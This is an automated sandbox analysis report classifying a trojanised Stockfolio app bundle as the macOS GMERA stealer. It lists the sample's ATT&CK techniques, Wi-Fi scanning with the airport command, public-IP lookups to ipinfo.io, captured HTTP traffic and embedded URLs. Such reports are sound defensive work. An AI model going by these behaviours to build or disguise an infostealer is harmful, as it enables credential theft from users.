Loading ...

Play interactive tourEdit tour

Analysis Report Trial_Stockfoli_2.zip

Overview

General Information

Joe Sandbox Version:27.0.0 Red Achat
Analysis ID:85606
Start date:25.09.2019
Start time:10:00:00
Joe Sandbox Product:Cloud
Overall analysis duration:0h 16m 55s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:Trial_Stockfoli_2.zip
Cookbook file name:defaultmacfilecookbook.jbs
Analysis system description:Mac Mini, High Sierra 10.13.2 (MS Office 16.9, Java 1.8.0_25)
Detection:MAL
Classification:mal100.troj.spyw.evad.macZIP@0/1206@26/0
Warnings:
Show All
  • Excluded IPs from analysis (whitelisted): 151.139.128.14, 2.21.242.187, 2.21.242.197, 172.217.23.110
  • Excluded domains from analysis (whitelisted): cs2-wac.apr-8315.edgecastdns.net, lb._dns-sd._udp.0.0.168.192.in-addr.arpa, ocsp.usertrust.com, www-google-analytics.l.google.com, isrg.trustid.ocsp.identrust.com, a279.dscq.akamai.net, isrg.trustid.ocsp.identrust.com.edgesuite.net, www.google-analytics.com
  • Report size exceeded maximum capacity and may have missing behavior information.
  • Report size exceeded maximum capacity and may have missing network information.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold1000 - 100Report FP / FNfalsemalicious

Key Signatures

Detected macOS GMERA trojanShow sources
Yara detected Gmera StealerShow sources

Classification

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and Control
Valid AccountsCommand-Line Interface1Hidden Files and Directories1Port MonitorsHidden Files and Directories1Credential DumpingSecurity Software Discovery1Remote File Copy1Screen Capture2Data Encrypted1Standard Cryptographic Protocol1
Replication Through Removable MediaScripting11Port MonitorsAccessibility FeaturesScripting11Network SniffingSystem Network Configuration Discovery1Remote ServicesData from Removable MediaExfiltration Over Other Network MediumRemote Access Tools1
Drive-by CompromiseWindows Management InstrumentationAccessibility FeaturesPath InterceptionFile Deletion11Input CaptureFile and Directory Discovery4Windows Remote ManagementData from Network Shared DriveAutomated ExfiltrationRemote File Copy1
Exploit Public-Facing ApplicationScheduled TaskSystem FirmwareDLL Search Order HijackingCode Signing12Credentials in FilesSystem Information Discovery71Logon ScriptsInput CaptureData EncryptedStandard Non-Application Layer Protocol3
Spearphishing LinkCommand-Line InterfaceShortcut ModificationFile System Permissions WeaknessMasqueradingAccount ManipulationRemote System DiscoveryShared WebrootData StagedScheduled TransferStandard Application Layer Protocol113

Signature Overview

Click to jump to signature section


Cryptography:

barindex
Writes files containing public keys to diskShow sources
Source: /Users/henry/Desktop/unpack/Stockfoli.app/Contents/Resources/Stockfolio.app/Contents/MacOS/Stockfolio (PID: 556)File created 'PUBLIC KEY' pattern: /Applications/Stockfolio.app/Contents/Resources/dsa_pub.pemJump to dropped file

Networking:

barindex
Executes the "airport" command used to view/configure WiFiShow sources
Source: /bin/sh (PID: 623)Airport executable: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -sJump to behavior
Lists all available wireless networks in the near, i.e. SSID, hardware address, encryption type, channelShow sources
Source: /bin/sh (PID: 623)Airport executable with listing: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -sJump to behavior
May check the online IP address of the machineShow sources
Source: unknownDNS query: name: ipinfo.io
Source: unknownDNS query: name: ipinfo.io
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 17.253.55.207
Source: unknownTCP traffic detected without corresponding DNS query: 23.34.181.176
Source: unknownTCP traffic detected without corresponding DNS query: 17.253.55.207
Source: unknownTCP traffic detected without corresponding DNS query: 23.34.181.176
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioUser-Agent: curl/7.54.0Accept: */*
Source: global trafficHTTP traffic detected: GET /images/default_avatar_thumb.jpg HTTP/1.1Host: avatars.stocktwits.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Cookie: __cfduid=dc5a0a2d51675a06859c9b634466249a71569398467User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)Accept-Language: en-usAccept-Encoding: gzip, deflateConnection: keep-alive
Source: global trafficHTTP traffic detected: GET /profile_images/1128060215579107329/aMbwPWix_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1114146554846294017/BEzVlxxk_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/656429386661560320/5x91TVQ1_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1167305603070361606/xCD-7gbi_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1075880059691565056/5_gCVBFP_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFSyWKzXkAA_Pcp.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1168252241855123457/ItGCp4TN_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1171115092458369024/r9L4_Emp_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1035441355026325504/XtWUiD0A_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/834878192498339841/m11unSMv_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/712271031986167808/28m0atkO_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1174867397326454784/-Cj3hcgF_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/980765720161275904/vRCTdsUt_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1139336040441950210/91skvf8V_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1150732513851166720/0wPBMODC_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1166903465211244544/9JtP2tZD_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFSjUXqW4AEJoej.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1145051409190023168/2DofK4ye_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1172019765746880512/brjLLZVY_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1127823705994944512/5lPZ_N00_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1017587175834210304/LzzQWIFe_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1037996879278223360/7s7NmOTd_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/753246714799063041/B4R5QCcm_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/2653218661/d48dfa25d82dd02b809384cb57a74bb0_normal.jpeg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/773049871519580160/8fvfjObD_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/878095909086781440/cKxvd4G3_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1029216402362720256/bx4ViDzT_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1127823705994944512/5lPZ_N00_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/456927869206163456/NfAYrGAy_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1010388107768758273/ywebLogk_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFQirK4XUAI8PKR.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/896488911324696576/YF-8DDmp_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1173178239977758722/Q7Ac-1KF_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1136370724505915392/5LOhzxJQ_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1058620449590980608/OMY24hj0_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /media/EFSOq9_X4AAK4yQ.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/972367018946191361/ywzowTW8_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1109889787568123904/y7w5csa2_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1173425888785920000/wOBc6Y85_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/456999161263816704/yfi6iDbR_normal.jpeg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1131412530344091648/VfwnnOz0_normal.png HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Source: global trafficHTTP traffic detected: GET /profile_images/1170332971703984129/ZjdTTvZT_normal.jpg HTTP/1.1Host: pbs.twimg.comAccept: image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5Accept-Language: en-usConnection: keep-aliveAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko)
Found strings which match to known social media urlsShow sources
Source: .BC.T_mmQppd.487.drString found in binary or memory: ><%@>%@</%@><INVTRAN></INVTRAN>textSocketRocket_SSLPinnedCertificatesSR_SSLPinnedCertificatesT@"NSArray",R,C,NT@"NSArray",C,NkCFStreamSocketSecurityLevelTLSv1_2certificateChainValidationEnabledTc,R,N,V_certificateChainValidationEnabledFailed to generate random bytes with OSStatus: %d258EAFA5-E914-47DA-95CA-C5AB0DC85B11SRWebSocketErrorDomainHTTPResponseStatusCode-[SRWebSocket initWithURLRequest:protocols:securityPolicy:]/Users/charles/Dropbox/DevelopmentProjects/Stocks/Stocks/ext/SocketRocket/SocketRocket/SRWebSocket.mrequest.URL-[SRWebSocket assertOnWorkQueue]dispatch_get_specific((__bridge void *)self) == (__bridge void *)_workQueuereadyState-[SRWebSocket open]_urlTimed out connecting to server.v32@?0@"NSError"8@"NSInputStream"16@"NSOutputStream"24Request failed with response code %dReceived bad response code from server: %d.Invalid Sec-WebSocket-Accept response.Server specified Sec-WebSocket-Protocol that wasn't requested.v18@?0@"<SRWebSocketDelegate>"8{SRDelegateAvailableMethods=b1b1b1b1b1b1b1b1b1}16Finishe
Source: .BC.T_SnS7HV.487.drString found in binary or memory: From Yahoo Finance equals www.yahoo.com (Yahoo)
Source: .BC.T_SnS7HV.487.drString found in binary or memory: From Yahoo Finance_ equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: YAHOO.Finance.SymbolSuggest.ssCallback( equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: Yahoo Finance (imported from CSV) equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: com.facebook.SocketRocket.NetworkThread equals www.facebook.com (Facebook)
Source: .BC.T_mmQppd.487.drString found in binary or memory: com.facebook.socketrocket.delegate.access equals www.facebook.com (Facebook)
Source: .BC.T_mmQppd.487.drString found in binary or memory: com.facebook.socketrocket.proxyconnect.write equals www.facebook.com (Facebook)
Source: .BC.T_mmQppd.487.drString found in binary or memory: finance.query.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: http://autoc.finance.yahoo.com/autoc?query={query}&region=US&lang=en&callback=YAHOO.Finance.SymbolSuggest.ssCallback equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://api.twitter.com/1.1/search/tweets.json?q=%@&count=%d equals www.twitter.com (Twitter)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://api.twitter.com/oauth2/token equals www.twitter.com (Twitter)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/autocomplete?format=json&lang=en-US&region=US&ticker= equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/multiquote?crossProduct=optimized&format=json&lang=en-US&region=US&tickers= equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/quotedetail?crossProduct=optimized&format=json&lang=en-US&region=US&tickers= equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://feeds.finance.yahoo.com/rss/2.0/headline?s=%@ equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com/__nebula_embed/ecd/%@?lang=en-US&region=US equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com/__streamer-worker-0.3.69.js equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com/chart/%@ equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://query1.finance.yahoo.com/v8/finance/chart/%@?period2=%llu&period1=%llu&comparisons=undefined&includePrePost=false&interval=1d&events=%@&indicators=%@&corsDomain=finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://query1.finance.yahoo.com/v8/finance/chart/%@?range=%@&comparisons=undefined&includePrePost=false&interval=%@&events=%@&indicators=%@&corsDomain=finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://streamerapi.finance.yahoo.com/streamer/1.0?s=%@&k=%@&callback=parent.yfs_u1f&mktmcb=parent.yfs_mktmcb&gencallback=parent.yfs_gencb&mu=1&lang=en-US&region=US&localize=0 equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: mobile-query.finance.yahoo.com equals www.yahoo.com (Yahoo)
Source: .BC.T_mmQppd.487.drString found in binary or memory: twitter equals www.twitter.com (Twitter)
Source: .BC.T_mmQppd.487.drString found in binary or memory: yahoo equals www.yahoo.com (Yahoo)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: ipinfo.io
Urls found in memory or binary dataShow sources
Source: .BC.T_mmQppd.487.drString found in binary or memory: http://autoc.finance.yahoo.com/autoc?query=
Source: .BC.T_0biYfh.487.drString found in binary or memory: http://crl.apple.com/root.crl0
Source: .BC.T_0biYfh.487.drString found in binary or memory: http://crl.apple.com/timestamp.crl0
Source: .BC.T_mmQppd.487.drString found in binary or memory: http://feeds.feedburner.com/Coindesk?format=xml
Source: .BC.T_0biYfh.487.drString found in binary or memory: http://ocsp.apple.com/ocsp-devid010
Source: .BC.T_0biYfh.487.dr, appcast.xml.rss.462.drString found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle
Source: .BC.T_0biYfh.487.drString found in binary or memory: http://www.andymatuschak.org/xml-namespaces/sparkle-
Source: .BC.T_0biYfh.487.drString found in binary or memory: http://www.apple.com/DTDs/PropertyList-1.0.dtd
Source: .BC.T_0biYfh.487.drString found in binary or memory: http://www.apple.com/appleca0
Source: .BC.T_mmQppd.487.drString found in binary or memory: http://www.openssl.org/support/faq.html
Source: .BC.T_mmQppd.487.drString found in binary or memory: http://www.openssl.org/support/faq.htmlRAND_get_rand_methodRAND_init_fipsSSLEAY_RAND_BYTESdual
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://analytics.paddle.com/track
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://analytics.paddle.com/trackPOSTanalytics.paddle.comHostapplication/jsonContent-Typev32
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://api.gdax.com/products/%
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://api.stocktwits.com/api/2/streams/symbol/%
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://api.twitter.com/1.1/search/tweets.json?q=%
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://api.twitter.com/oauth2/token
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/autocomplete?format=json&lang=en-US&region=US&t
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/multiquote?crossProduct=optimized&format=json&l
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://apple-finance.query.yahoo.com/v1/yql/applewf/quotedetail?crossProduct=optimized&format=json&
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://cdn.paddle.com/sdk/checkout.html
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://checkout.paddle.com/api/
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://data.paddle.com/streams/records
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://feeds.finance.yahoo.com/rss/2.0/headline?s=%
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com/__nebula_embed/ecd/%
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com/__streamer-worker-0.3.69.js
Source: .BC.T_mmQppd.487.drString found in binary or memory: https://finance.yahoo.com/chart/%
Source: .BC.T_LvaGPF.487.drString found in binary or memory: https://paddle.com/legal-buyers
